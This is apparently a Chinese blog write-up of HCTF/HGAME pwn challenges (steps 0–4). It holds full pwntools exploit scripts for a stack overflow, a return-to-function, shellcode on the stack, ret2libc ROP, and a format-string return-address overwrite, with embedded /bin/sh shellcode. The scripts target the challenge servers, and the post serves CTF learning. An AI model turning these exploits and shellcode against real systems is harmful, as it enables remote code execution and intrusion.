HCTF GAME-pwn笔记

pwn step0

题目描述: nc 121.42.25.113 10000
binary:http://7xn9bv.dl1.z0.glb.clouddn.com/pwn0.zip
step0是一个很简单的stack overflow原理展示,just read the disassembly code : )
Hint: 所谓的pwn嘛,你得分析包含漏洞的服务端程序,然后构造特殊的请求来获取shell或达到其它目的。step0完全可以手打√

这道题可以说是最简单的pwn,分析程序可知在获取用户输入的时候可以覆盖到传入函数的参数的地址

如果传入的参数变为0x61616161,就可以获取到flag

0x61对应的字符为’a’,所以这道题疯狂输入a就可以了

pwn step1

题目描述: nc 121.42.25.113 10001
不比step0难多少的题目。
binary:http://7xn9bv.dl1.z0.glb.clouddn.com/pwn1.zip
Hint: 咦,完全没有被调用过的函数。这怎么玩╭(°A°`)╮

这道题需要覆盖返回地址,使之跳转到getFlag函数,就可以获取到flag了。

分析代码可知获取输入的时候可以覆盖到返回地址,

在ida中可以看到字符串地址和返回地址的差值

exp也比较简单

from pwn import *

p=remote('121.42.25.113',10001)
elf=ELF('pwn1')
payload='a'*28+'\x00'*4+p32(elf.symbols['getFlag'])+'\n'
print payload
p.send(payload)
p.interactive()

pwn step2

题目描述: 古老的栈溢出。用shellcode就好了
nc 121.42.25.113 10002
FILE:http://7xn9bv.dl1.z0.glb.clouddn.com/pwn2.zip
/home/pwn/pwn2/flag
Hint: 注意查收礼物

这道题已经提供了shellcode,省去了自己编写的麻烦,根据提示即可获得shellcode

原理和上一道题差不多,只不过这次是让函数返回到栈上的shellcode,所以题目也提供了字符串的地址,方便知道该返回到哪里

from pwn import *

#p=remote('121.42.25.113',10002)
shellcode= "\x68\x2f\x73\x68\xff"
shellcode+="\x68\x2f\x62\x69\x6e"
shellcode+="\x8d\x1c\x24"
shellcode+="\x31\xc0"
shellcode+="\x88\x43\x07"
shellcode+="\x50"
shellcode+="\x53"
shellcode+="\x89\xe1"
shellcode+="\x8d\x51\x04"
shellcode+="\x83\xc0\x0b"
shellcode+="\xcd\x80"
shellcode+="\x31\xc0"
shellcode+="\x40"
shellcode+="\x31\xdb"
shellcode+="\xcd\x80"
p=process('./pwn2')
s=p.recvline()[0:10]
char_address=eval(s)
print hex(char_address)
ret_address=char_address+0x1c+0x4+0x4
print hex(ret_address)
payload='a'*32
payload+=p32(ret_address) +shellcode
print payload
p.send(payload)
p.interactive()

pwn step3

题目描述: 会放嘲讽的baka程序>///<
bin: http://ojwp3ihl4.bkt.clouddn.com/baka-server
nc 121.42.206.184 10001
Hint:
关键词:rop,ret to libc
环境:ubuntu17.04 默认版本glibc
Dockerfile:FROM ubuntu:17.04

这是一个典型的rop,具体请参照
这篇文章,肯定会比我讲的好(orz)

直接放上exp吧

from pwn import *


p=remote('121.42.206.184',10001)
#p=process('./baka-server')

elf=ELF('baka-server')
libc = ELF('libc2.so')
plt_puts = elf.symbols['puts']
print 'plt_puts= ' + hex(plt_puts)
got_puts = elf.got['puts']
print 'got_puts= ' + hex(got_puts)
got_read = elf.got['read']
print 'got_read= ' + hex(got_read)
read_buffer_addr = 0x0804850D#0x0804859E

print 'read_buffer_addrs= ' + hex(read_buffer_addr)
answer='I\'m baka!\n'

payload1=answer+'\x00'*(0x28+0x4-len(answer))+p32(plt_puts) + p32(read_buffer_addr) +p32(got_read)
print '1='+payload1+'aaaaaaaaaaaaaaaaaa'
print p.recvline()
p.send(payload1)
print p.recvline()
p.send(payload1)
recv_addr=p.recvline()
print recv_addr
read_addr = u32(recv_addr[0:4])#u32(p.recvline()[0:4])
print 'read_addr='+hex(read_addr)
system_addr = read_addr - (libc.symbols['read'] - libc.symbols['system'])
payload2=answer+'\x00'*(0x28+0x4-len(answer))
print 'system_addr= ' + hex(system_addr)
binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = answer+'\x00'*(0x28+0x4-len(answer))+p32(system_addr) + p32(read_buffer_addr) + p32(binsh_addr)
print '2='+payload2+'aaaaaaaaaaaaaa'
p.send(payload2)
print p.recvline()
p.interactive()

pwn step4

题目描述: 这次是个简单的xx漏洞
源码:http://ojwp3ihl4.bkt.clouddn.com/hgame_easy_pwn_week4.c
bin: http://ojwp3ihl4.bkt.clouddn.com/hgame_easy_pwn_week4
nc 121.42.206.184 10002
Hint:
一:2000年,linux发布了著名的PaX补丁。补丁内为内核添加如下功能:flags data memory as non-executable, program memory as non-writable and randomly arranges the program memory,所以做题前请仔细查看bin的flags,推荐工具:checksec
二:非系统层面,有canary保护,难道真的不可以绕过吗?
三:考虑到很多人初次接触pwn,在此提供题目源码
最后,如果真的找不到漏洞不妨让编译器帮你一把:)

其实就是个格式化字符串漏洞,关于格式化字符串可以问度娘。

这里只记录这道题需要注意的地方(我坑的地方)

首先是思路方面,这道题比起跳system函数,写shellcode明显要简单得多。
复写返回地址的时候也是,两个字节写两次明显比直接写很大的数字要稳定。我还是要多学习一个。
还有就是计算方面,感觉自己的口算功底需要加强(

exp:

from pwn import *


BUFFER=4096
shellcode= "\x68\x2f\x73\x68\xff"
shellcode+="\x68\x2f\x62\x69\x6e"
shellcode+="\x8d\x1c\x24"
shellcode+="\x31\xc0"
shellcode+="\x88\x43\x07"
shellcode+="\x50"
shellcode+="\x53"
shellcode+="\x89\xe1"
shellcode+="\x8d\x51\x04"
shellcode+="\x83\xc0\x0b"
shellcode+="\xcd\x80"
shellcode+="\x31\xc0"
shellcode+="\x40"
shellcode+="\x31\xdb"
shellcode+="\xcd\x80"



p = remote('121.42.206.184','10002')
#p=process('./hgame_easy_pwn_week4')
p.recv(BUFFER)
p.send('2')

print p.recvline()
payload1='%p'
p.send(payload1)

buf_addr_str=p.recvline()
print buf_addr_str
buf_addr=buf_addr_str[buf_addr_str.index('0x'):buf_addr_str.index(':)')]
buf_addr_num=eval(buf_addr)
ret_addr=buf_addr_num+0x10c+0x4
print hex(buf_addr_num)+'   '+hex(ret_addr)
buf_addr=p32(buf_addr_num)

print p.recv(BUFFER)
p.send('2')
print p.recvline()

payload2=p32(ret_addr)+p32(ret_addr+2)+'%'+str((buf_addr_num%0x10000)+40-8)+'x'+'%7$hn'+'%'+str((buf_addr_num >> 16)-buf_addr_num%0x10000-32-8)+'x'+'%8$hn'
print len(payload2)
payload2+='\x90'*10+shellcode
print len(payload2)
print hex(buf_addr_num >> 16)
print hex(buf_addr_num%0x10000)
print payload2
print hex(buf_addr_num)
p.send(payload2)


p.interactive()

发表评论

电子邮件地址不会被公开。 必填项已用*标注